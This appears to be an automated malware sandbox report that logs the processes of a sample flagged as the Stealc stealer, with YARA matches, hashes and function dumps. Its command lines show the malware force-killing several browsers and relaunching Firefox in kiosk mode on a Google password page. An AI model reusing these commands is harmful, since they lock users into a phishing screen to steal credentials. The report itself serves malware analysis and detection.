Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	05:03:03
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	05:03:04
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	05:03:04
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	05:03:04
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	05:03:04
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	05:03:04
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	05:03:05
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	05:03:06
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001161001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Imagebase:	0x710000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	05:03:08
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Imagebase:	0x740000
File size:	1'829'376 bytes
MD5 hash:	E13D89812EE808B7637FE554797B759B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	05:03:08
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:03:16
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Imagebase:	0xe80000
File size:	919'552 bytes
MD5 hash:	8C8F878E0052609B14B1A3F7233D8453
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	05:03:16
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:03:16
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:03:24
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001161001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Imagebase:	0x710000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:03:26
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:03:26
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:03:26
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	05:03:26
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	05:03:27
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	05:03:27
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	05:03:27
Start date:	24/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	05:03:27
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	05:03:28
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:03:28
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	05:03:29
Start date:	24/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:03:33
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Imagebase:	0x4a0000
File size:	2'888'192 bytes
MD5 hash:	7B4CC8AC4AC8827894A00407B15007C3
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:03:41
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Imagebase:	0x740000
File size:	1'829'376 bytes
MD5 hash:	E13D89812EE808B7637FE554797B759B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:03:50
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Imagebase:	0xe80000
File size:	919'552 bytes
MD5 hash:	8C8F878E0052609B14B1A3F7233D8453
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 00B7A8BE Relevance: 3.7, Strings: 2, Instructions: 1193COMMON

Download Yara Rule

Strings

be85, xrefs: 00B7A9E5
ZeVo, xrefs: 00B7A983

Memory Dump Source

Source File: 00000000.00000003.2337425425.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B78000, based on PE: false

Associated: 00000000.00000003.2241243430.0000000000B78000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b78000_file.jbxd

Similarity

API ID:
String ID: ZeVo$be85
API String ID: 0-2324158404
Opcode ID: a0813eecfdb8a239e667c567b0ebce6c257aa2b720c44f9b03496c5e0854a976
Instruction ID: 503e042dee8ee626bb8ee11cfa954c1bf6bd54ccfaa776d850248e220872c9f4
Opcode Fuzzy Hash: a0813eecfdb8a239e667c567b0ebce6c257aa2b720c44f9b03496c5e0854a976
Instruction Fuzzy Hash: CF81EE2240E3C18FD7579B348A6604ABFB0AE5331072E95DFC0E5CF0A3D259595ACB67

Function 00B7A8BE Relevance: 3.7, Strings: 2, Instructions: 1193COMMON

Download Yara Rule

Strings

be85, xrefs: 00B7A9E5
ZeVo, xrefs: 00B7A983

Memory Dump Source

Source File: 00000000.00000003.2337425425.0000000000B7A000.00000004.00000020.00020000.00000000.sdmp, Offset: 00B79000, based on PE: false

Associated: 00000000.00000003.2241243430.0000000000B78000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_b78000_file.jbxd

Similarity

API ID:
String ID: ZeVo$be85
API String ID: 0-2324158404
Opcode ID: a0813eecfdb8a239e667c567b0ebce6c257aa2b720c44f9b03496c5e0854a976
Instruction ID: 503e042dee8ee626bb8ee11cfa954c1bf6bd54ccfaa776d850248e220872c9f4
Opcode Fuzzy Hash: a0813eecfdb8a239e667c567b0ebce6c257aa2b720c44f9b03496c5e0854a976
Instruction Fuzzy Hash: CF81EE2240E3C18FD7579B348A6604ABFB0AE5331072E95DFC0E5CF0A3D259595ACB67

Analysis Process: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exePID: 1008, Parent PID: 1832COMMON

Executed Functions

Function 04D80D56 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2395103560.0000000004D80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d80000_0KH83O2UU7K66U0BZXMNJ98MCWGN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38dbdcad3f9649e89ebcab9ae2fe85c73c8768cd28f6c6ebbddece3126a06066
Instruction ID: e5eb9f7fc13ea6c50960acd7a6974839ca3a27db85f92229c092627128f96590
Opcode Fuzzy Hash: 38dbdcad3f9649e89ebcab9ae2fe85c73c8768cd28f6c6ebbddece3126a06066
Instruction Fuzzy Hash: A301A9EB28D120BD715395462B54AF7676DE4D6630332882BF487C6906E6846A4D7131

Function 04D80D67 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2395103560.0000000004D80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d80000_0KH83O2UU7K66U0BZXMNJ98MCWGN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8227aa61fff9df3d282ff8bd8ca880a8a2ce364ad5fe2593140f68daa31c5a36
Instruction ID: 9478dac0af8a91889538025a2bdc5bccc3c4a1d871f20aebe6359d707e5ced75
Opcode Fuzzy Hash: 8227aa61fff9df3d282ff8bd8ca880a8a2ce364ad5fe2593140f68daa31c5a36
Instruction Fuzzy Hash: E0018FFB24D120BD7143A1523B25AF7676ED1D6730332C82BF487C6906E2846A4D7032

Function 04D80D7C Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2395103560.0000000004D80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d80000_0KH83O2UU7K66U0BZXMNJ98MCWGN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db523209810f4110562754bcf72b5270903fa77c070bda15078054343990781
Instruction ID: 17f04b742a9c159b4b74879ba96deaf34df346769d002ec1cd053775fafe4a98
Opcode Fuzzy Hash: 7db523209810f4110562754bcf72b5270903fa77c070bda15078054343990781
Instruction Fuzzy Hash: 9701A7BB24D110BDB15391417B54AF76B9DD2D6730732C82BF443C6506E3855D5D7132

Function 04D80DAD Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2395103560.0000000004D80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d80000_0KH83O2UU7K66U0BZXMNJ98MCWGN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ea8917cf0b5f4accb5626ce5e95568c23bc64ab14b8c68946768b7bee60a19
Instruction ID: a8cd57242c8262f8e1b4d61588265d7423ed537375012bcb0f80b520fd7cb072
Opcode Fuzzy Hash: e0ea8917cf0b5f4accb5626ce5e95568c23bc64ab14b8c68946768b7bee60a19
Instruction Fuzzy Hash: BBF01DEB68D1507C716390413B54EF7576DE0D6B30336C56BF493C6A46E2854E5E3032

Function 04D80DA3 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2395103560.0000000004D80000.00000040.00001000.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4d80000_0KH83O2UU7K66U0BZXMNJ98MCWGN.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bbfc1e0c2ecb32ea1fa8c31a432a23a56e1646cc468c21afda82a3842f16e27
Instruction ID: 267c099cebbfb7646d96b5fd2751aba555539b98d93909c1ad67d7da65dc09ab
Opcode Fuzzy Hash: 9bbfc1e0c2ecb32ea1fa8c31a432a23a56e1646cc468c21afda82a3842f16e27
Instruction Fuzzy Hash: 2DF030EB28D1607D715390413B54AF76B6DD4D7730332C56BF483C6906E6855E4D7032

Analysis Process: A77BGJTTW6SX9ESX.exePID: 6888, Parent PID: 1832COMMON

Execution Graph

Execution Coverage:	2.5%
Dynamic/Decrypted Code Coverage:	10.6%
Signature Coverage:	5.3%
Total number of Nodes:	113
Total number of Limit Nodes:	12

Executed Functions

Function 049A15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 049A18C8

Memory Dump Source

Source File: 00000006.00000002.2564298780.00000000049A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 049A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_49a0000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 44b9e316cebd2181cea32decb0ee00b505949ec18fc25c5aa7113c8964aeb6b8
Instruction ID: d6cf63f62edd4af51a786916e8b5726e49bc2e6f4bc6b894c5da11ea4c19db22
Opcode Fuzzy Hash: 44b9e316cebd2181cea32decb0ee00b505949ec18fc25c5aa7113c8964aeb6b8
Instruction Fuzzy Hash: 91C16A70D002599FDB10CFA8C8467AEBBF6FF88314F048539E854E7284D774A9A1CB82

Function 0099B7AE Relevance: 1.3, Strings: 1, Instructions: 18COMMON

Download Yara Rule

Strings

!!iH, xrefs: 0099B91E

Memory Dump Source

Source File: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
